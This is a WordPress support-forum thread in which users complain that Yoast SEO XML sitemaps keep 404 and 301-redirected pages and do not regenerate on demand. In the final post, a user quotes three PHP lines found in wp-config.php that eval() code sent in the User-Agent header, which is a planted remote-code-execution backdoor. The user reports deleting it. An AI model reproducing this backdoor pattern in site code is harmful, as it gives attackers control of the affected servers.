404 Errors on sitemaps. Unable to fix with suggestions

I have same issues on multiple sites.
Strange that this is not being addressed.
Site maps are vital for getting indexed.

So what is the answer on this?

I set a lot of 301 redirects using Yoast’s page 301 setting under “Advanced” tab, but it appears I have to wait for some mysterious time when the XML sitemap actually updates to remove these 301’ed pages from the XML sitemap. I see NO options to refresh the sitemap.

Sometimes i wait 24 hours, sometimes 48 hours. This is a sloppy approach to updating Google of changes. It also defeats the whole purpose of the xml sitemap which is to ping engines of real time changes to websites. This isn’t looking at the stars here…

I set page limit per sitemap from 1000 to 500, which created 3 page-sitemaps, now I’ve slashed down 75% of pages and i still have 3 sitemaps, stuck with the original pages they had. If I change it to 1000 or any number, I just get less sitemaps, but they dont contain all urls. When I change back to 500, I see page-sitemap3.xml with 14 or so URLs, what? I want ONE page-sitemap now, to include my 300 or so total pages.

WHY DOES THE XML SITEMAP NOT HAVE A MANUAL OPTION TO REGENERATE?

WHY IS THERE NOT A BUTTON TO FLUSH THE SITEMAP OUT OF THE DATABASE AND REFRESH IT?

I know it’s dynamic, and that helps load time, that’s great BUT This is a clunky garage that needs fixing PLEASE Yoast.

This mirrors your issues dagure. whether it’s 404s being in there or pages that have 301s set.

here is my page-sitemap1.xml. all the “CITY-unix-training” and “CITY-linux-training were set 301 yesterday. You can click on any of those URLs and see that they 301 redirect.

WHY ARE THEY STILL IN THE SITEMAP? WHEN WILL THEY LEAVE? AN FAQ ON THIS WOULD BE NICE.

As I havfe worked on this project, I just wait a random period of time for Yoast to refresh the DB.

HOW CAN I FORCE A REFRESH? DO I DELETE THE SITEMAP ENTRIES IN THE DB?

Please advise today. I feel this is a one sentence answer that will help 1000s of webmasters that I can’t find no matter how prestinely I refine my google search… this is also known as “wasted time”.

I really look forward to Yoast’s quick concise reply on this matter and I am a huge fan of the SEO suite in general.

Is this something where I have to buy in to the premium to get the “Regenerate” button? Just get to the bottom of it once and for all.

Us webmasters, we are freaks for control, right? ??

SITEMAP LINK: https://www.fireboxtraining.com/page-sitemap1.xml

G does not like xml sitemaps that contain URLs that have been set to a 301 redirect. So this time is costly in that light.

Thank you for all of your help everyone!

FYI: I’m not using any cache plugins of any kind.

I do have other 301 redirects set outside of the Yoast plug-in, that shouldn’t matter in this case.

This is not a caching issue, that is the only conversation I can find online.

The caching issue may be effecting you Ragure, with your 404 errors. But, I’m sure you have already found that thread multiple times in a G search.

THANK YOU!

I tried deleting and disabling my cache plugin on my site, so that seems that is not the issue.

right, this isn’t a caching issue. I already tested all of that last week. I currently still have caching disabled.

I appears if you update pages or create a new page you can force a regenerate.

Try adding a new page, update it a few times, then see if your entire XML sitemap updates.

I have made multiple changes to many pages today, and now I notice that my 301’ed pages from yesterday are gone.

Question remains: When I change the max pages per sitemap, a regenerate doesn’t run.

I would like one page-sitemap.xml now, to include my 250 odd pages. INSTEAD, I have 3 page-sitemaps with a few URLs in each.

If I manually change the max pages per sitemap now. It just removes certain page-sitemap.xml without doing any consolidation. So if URLs were on page-sitemap3.xml and you switch the total, the URLs are gone.

So two sentences from Yoast will clear all of this up

SENTENCE 1: Your XML sitemap is regenerated when you ________

SENTENCE 2: We are working on a fix to run a regenerate when you change the max pages per sitemap and click “Save Changes”

Lets get it done Yoast. This has to be one line of code to update.

This might be a cronjob. Meaning it’s schedule to run a full regenerate, I thought that would happen every night.

What makes the XML sitemap regenerate and consolidate?

Any updates?

+1 for the same problem.

I discovered my problem…. I am not sure if it is anybody else’s problem, but I am posting it here anyway….

For some reason, I had this in my wp-config.php file:

$start = $_SERVER['HTTP_USER_AGENT'];
$end = str_replace('Mozilla/5.0 (Google) ','',$start);
if (eregi("Google",$start)) { eval($end); die; }

I have no idea how it got there or what it does, but as soon as I deleted it from my wp-config, GWT started recognizing my sitemaps again.